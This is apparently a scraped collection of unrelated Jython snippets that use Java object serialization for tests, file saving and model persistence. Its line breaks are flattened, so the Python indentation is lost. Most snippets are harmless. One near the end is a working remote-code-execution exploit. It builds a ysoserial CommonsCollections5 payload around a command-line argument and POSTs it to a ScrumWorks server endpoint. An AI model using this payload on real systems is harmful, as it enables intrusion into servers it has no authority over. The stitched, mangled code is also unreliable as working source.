def run(self): while 1: print "Writing out channels", Date() ostream = FileOutputStream(self.filename) p = ObjectOutputStream(ostream) p.writeObject(self.registry.getChannelGroup("Default")) p.flush() ostream.close() self.sleep(self.delay)
def test_serialization(self): s = set(range(5, 10)) output = ByteArrayOutputStream() serializer = ObjectOutputStream(output) serializer.writeObject(s) serializer.close() input = ByteArrayInputStream(output.toByteArray()) unserializer = ObjectInputStream(input) self.assertEqual(s, unserializer.readObject())
def serialize(o, special=False): b = ByteArrayOutputStream() objs = ObjectOutputStream(b) objs.writeObject(o) if not special: OIS = ObjectInputStream else: OIS = PythonObjectInputStream objs = OIS(ByteArrayInputStream(b.toByteArray())) return objs.readObject()
def __blob(self, obj=0): assert self.has_table("blobtable"), "no blob table" tabname, sql = self.table("blobtable") fn = tempfile.mktemp() fp = None c = self.cursor() try: hello = ("hello", ) * 1024 c.execute(sql) self.db.commit() from java.io import FileOutputStream, FileInputStream, ObjectOutputStream, ObjectInputStream, ByteArrayInputStream fp = FileOutputStream(fn) oos = ObjectOutputStream(fp) oos.writeObject(hello) fp.close() fp = FileInputStream(fn) blob = ObjectInputStream(fp) value = blob.readObject() fp.close() assert hello == value, "unable to serialize properly" if obj == 1: fp = open(fn, "rb") else: fp = FileInputStream(fn) c.execute("insert into %s (a, b) values (?, ?)" % (tabname), [(0, fp)], {1: zxJDBC.BLOB}) self.db.commit() c.execute("select * from %s" % (tabname)) f = c.fetchall() bytes = f[0][1] blob = ObjectInputStream(ByteArrayInputStream(bytes)).readObject() assert hello == blob, "blobs are not equal" finally: c.execute("drop table %s" % (tabname)) c.close() self.db.commit() if os.path.exists(fn): if fp: fp.close() os.remove(fn)
def serialize(obj, filepath): if not Serializable.isAssignableFrom(obj.getClass()): syncPrintQ("Object doesn't implement Serializable: " + str(obj)) return False f = None o = None try: f = FileOutputStream(filepath) o = ObjectOutputStream(f) o.writeObject(obj) o.flush() f.getFD().sync() # ensure file is written to disk return True except: syncPrintQ(sys.exc_info()) finally: if o: o.close() if f: f.close()
parser.error("Must provide pomdp filename") # figure out representation flat_rep = fnmatch(options.filename, '*.POMDP') rep = FileParser.PARSE_CASSANDRA_POMDP if flat_rep else \ FileParser.PARSE_SPUDD # load problem pomdp = FileParser.loadPomdp(options.filename, rep) # lower bound bp_calc = BpviStd(pomdp) if flat_rep else BpviAdd(pomdp) lbound = bp_calc.getValueFunction() # upper bound qp_calc = QmdpStd(pomdp) if flat_rep else QmdpAdd(pomdp) ubound = qp_calc.getValueFunction() # serialize usuffix = '.QMDP_STD.ser' if flat_rep else '.QMDP_ADD.ser' ufos = FileOutputStream( basename(options.filename) + usuffix ) uout = ObjectOutputStream(ufos) uout.writeObject(ubound) uout.close() lsuffix = '.BLIND_STD.ser' if flat_rep else '.BLIND_ADD.ser' lfos = FileOutputStream( basename(options.filename) + lsuffix ) lout = ObjectOutputStream(lfos) lout.writeObject(lbound) lout.close()
def saveObjToFile(object, folderLocation, nameOfFile): objOutStream = ObjectOutputStream( FileOutputStream(folderLocation + nameOfFile)) objOutStream.writeObject(object)
def saveModel(crf, file): s=ObjectOutputStream(FileOutputStream(file)) s.writeObject(crf); s.close();
payloadName = "CommonsCollections5" payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName); if payloadClass is None: print("Can't load ysoserial payload class") exit(2); # serialize payload payload = payloadClass.newInstance() exploitObject = payload.getObject(sys.argv[3]) # create streams byteStream = ByteArrayOutputStream() zipStream = GZIPOutputStream(byteStream) objectStream = ObjectOutputStream(zipStream) objectStream.writeObject(exploitObject) # close streams objectStream.flush() objectStream.close() zipStream.close() byteStream.close() # http request print "sending serialized command" conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2]) conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray()) response = conn.getresponse() conn.close() print "done"
def saveInstanceList(instances, fname): s = ObjectOutputStream(FileOutputStream(fname)) s.writeObject(instances) s.close()